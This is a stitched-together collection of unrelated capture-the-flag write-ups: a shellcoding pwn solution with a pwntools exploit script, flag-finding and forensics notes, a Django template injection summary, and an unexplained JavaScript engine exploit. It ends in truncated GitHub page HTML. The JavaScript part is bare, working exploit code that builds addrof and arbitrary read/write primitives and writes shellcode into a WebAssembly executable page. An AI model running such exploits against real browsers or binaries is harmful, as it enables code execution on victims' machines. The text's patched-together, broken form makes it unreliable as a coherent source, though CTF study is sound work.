[darkmode friendly writeup here](https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/b01lers_bootcamp/pwn_oracle/oracle_writeup.html) (https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/b01lers_bootcamp/pwn_oracle/oracle_writeup.html) |
# Free Your Mind - PWN (200pts)
```c#include <stdio.h>#include <unistd.h>
char shellcode[16];
int main() { char binsh[8] = "/bin/sh";
setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0);
printf("I'm trying to free your mind, Neo. But I can only show you the door\. You're the one that has to walk through it.\n"); read(0, shellcode, 16);
((void (*)()) (shellcode))();}```
## InvestigationThis challenge is more a task of avoiding constraints rather than identifying a weakness and exploiting it. From the source code we can see that the binary reads input data, stores it in the array declared as shellcode and then attempts to run this as a function. Assuming we can input a working shellcode to the binary, it should spawn a shell. Since the pointer is provided by the source code, we don't have to worry about ASLR for this challenge.
But there is a problem - The allocated memory for shellcode is only 16 bytes. By using conventional methods such as pwntools shellcraft.sh() or cherrypicking shellcode from shell-storm.org we will end up with too many bytes and our exploit will not work.
For example, by using `asm(shellcraft.sh())`, we end up with 48 bytes of shellcode. You could potentially MacGyver some short online shellcode with the right pointer, but where is the fun in that?
## Solution
It looks like we will just have to write our own shellcode, which is probably the intended solution by the author as well. It forces us to learn how it works and that makes it a good chall in my opinion.
Let's first understand what we need to do. The code we want to execute is a syscall known as `execve('/bin/sh')`. Since we are coding this in Assembly we need to check the register and value set-up before we start. A good resource on this is https://filippo.io/linux-syscall-table/. Search for execve and double click the entry to expand.
We see that execve() is a syscall that needs RAX to have the value of 59 (0x3b) when you call the system. It then takes three arguments; a filename pointer in RDI, an argv in RSI and env in RDX. We don't really care about the last two. To explain this in terms of pseudo-Assembly we want to execute `syscall(RAX, RDI, RSI, RDX)`, where `RAX=0x3b`, `RDI=<pointer to '/bin/sh'>`, `RSI=0x0` and `RDX=0x0`.
The static values are easy, we know them now. All we need is the pointer. Open the binary in GDB, run, CTRL+C to interrupt the process and type `find '/bin/sh'`. We know from the source code that there is a pointer in main so we just need to grab it: `0x4011b3`
Now we can stitch together assembly-code. We know that we need the code to be 16 bytes or lower, so let's use the 32-bit registers to make the syscall to shorten down. We can start with the parameters of execve(): `EDI, ESI, EDX`:
`mov edi, 0x4011b3;`, `xor esi, esi;`, `xor edx, edx;`. XORing a register with itself is an effective way of zeroing it out rather than using mov and 0x0.
That's our params set up. Now to make the right syscall - EAX needs to be 0x3b:
`mov eax, 0x3b;` and then make the call to system: `syscall;`.
Stitch it together with pwntools asm():
```pyshellcode = asm('mov edi, 0x4011b3; xor esi, esi; xor edx, edx; mov eax, 0x3b; syscall;')```
This translates to `execve('/bin'sh')` You can check the length of the shellcode with a quick python sandbox:```py>>> from pwn import *>>> len(asm('mov edi, 0x4011b3; xor esi, esi; xor edx, edx; mov eax, 0x3b; syscall;'))16```
That should do the trick. Now plop it into a script and run the exploit:
```py#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *
exe = context.binary = ELF('./shellcoding-5f75e03fd4f2bb8f5d11ce18ceae2a1d')context.terminal = ['tmux', 'splitw', '-h']#context.log_level = 'DEBUG'
gdbscript = '''b *0x0000000000401245continue'''.format(**locals())
io = process('./shellcoding-5f75e03fd4f2bb8f5d11ce18ceae2a1d')#io = gdb.debug('./shellcoding-5f75e03fd4f2bb8f5d11ce18ceae2a1d', gdbscript=gdbscript)#io = remote('chal.ctf.b01lers.com', '1007')
shellcode = asm('mov edi, 0x4011b3; xor esi, esi; xor edx, edx; mov eax, 0x3b; syscall;')
log.info(f'Shellcode length: {len(shellcode)}')
io.sendlineafter('it.', shellcode)
io.interactive()```

Remote was down when I wrote this, but exploits works:) |
## [Original/Source Writeup](https://bigpick.github.io/TodayILearned/articles/2020-10/b01lersbootcamp#needle-in-a-haystack)
We’re given a link to a `Haystack.zip`, whose size when unzipped is `12 KiB`. The contents of which are **400** various text files:
```ls NeedleInAHayStack | wc -l 400```
Attempting to use `grep` to look for the flag syntax:
```grep -r 'flag{' ./NeedleInAHayStack./NeedleInAHayStack/haystack269.txt:Fo1gQaT1DgTzK3BO+xkuAIRHKflag{y0u_f0unD_Th3_n33d1e!}```
Flag is `flag{y0u_f0unD_Th3_n33d1e!}`.
|
```javascriptvar buf = new ArrayBuffer(8);var f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf);
function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness}
function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];}
function hex(val) { return "0x" + val.toString(16);}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main;
var tA1 = new Uint32Array(5);var arr_one = [1.1,2.2,3.3];var arr_two = [1.1];var obj_arr = [arr_two,arr_two,arr_two,arr_two];tA1[0] = 0x1337;tA1[1] = 0x1447;
var tA2 = tA1.fill(0x20,33,34); //Overwrite array length.if(arr_one.length == 0x10) { console.log("[+] Succesfully overwrite length.");}
var element_pointer = ftoi(arr_one[4]);var array_map = ftoi(arr_one[3]);var object_map = ftoi(arr_one[12]);
function addrof(object) { obj_arr[0] = object; arr_one[12] = itof(array_map); var addr_of_object = obj_arr[0]; arr_one[12] = itof(object_map); return ftoi(addr_of_object);}
function arb_read(address) { arr_one[8] = itof(address); return ftoi(arr_two[0]);}
function arb_write(value,address) { arr_one[8] = itof(address); arr_two[0] = itof(value);}
var addr_wasm_instance = addrof(wasm_instance);var rwx_page = arb_read(addr_wasm_instance+0x60n);console.log("[+] RWX: " + hex(rwx_page));
//Copy Shellcodevar buf = new ArrayBuffer(0x100);var dataview = new DataView(buf);var buff_addr = addrof(buf);var backing_store = buff_addr+0xcn;arb_write(rwx_page,backing_store);var shellcode = [0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];for (var i = 0;i < shellcode.length; i++) { dataview.setUint32(4*i,shellcode[i],true);}f();``` |
# Powershell writeup> I want to know what is happening in my Windows Powershell.
```bash$ file file.mp3file.mp3: Audio file with ID3 version 2.46.20
# If you run strings on the file you can see there are 3 files$ strings file.mp3Login.evtxSuspicious.regPowerShell.xml
# Extract the files cp file.mp3 file.zipunizip file.zip
# Open `Powershell.xml` and you can see all commands that were ran# After looking around on line 104 you can find the flag encoded in base64$ echo "ZGFya0NURntDMG1tNG5kXzBuX3AwdzNyc2gzbGx9" | base64 -ddarkCTF{C0mm4nd_0n_p0w3rsh3ll}``` |
## Granular Data - 100ptsA disgruntled ex-employee of Granular is the prime suspect behind recent killings in the nation. We've received his manifesto, which included this photo of him. Is there anything here that could help us figure out his location?
### Solution
We Were given a png file of Garrett Scholes. He is the main antagonist of the episode Hated in the Nation. He is portrayed by Duncan Pow. Ok, with the important stuff out of the way, to obtain the flag we just need to use exiftool to show the metadata of the png.

__flag : flag{h4t3d_1n_th3_n4t10n_0MTBu}__ |
We want to extract our flag from multiple 7zip files, which happen to only contain junk files.
The flag is a PNG whose data is split across these files. An understanding of both file formats is required to extract the right parts from the 7zip files. Binary analysis was done with 010 Editor to identify relevant fields for calculating offsets of PNG data. |
Django Template Injection
Use templates to write your own crude implementation of the admin log.
Use that to discover that there are 3 polls insted of 2.
Going to that poll gives you an exception with a code traceback, giving you a hint as to some templates you can use to get the flag.
More detailed, original write-up ( https://github.com/ibnzterrell/ctf-write-ups/blob/master/CSAW_Quals_2017/ShiaLabeouf.md ) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" />
<script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" 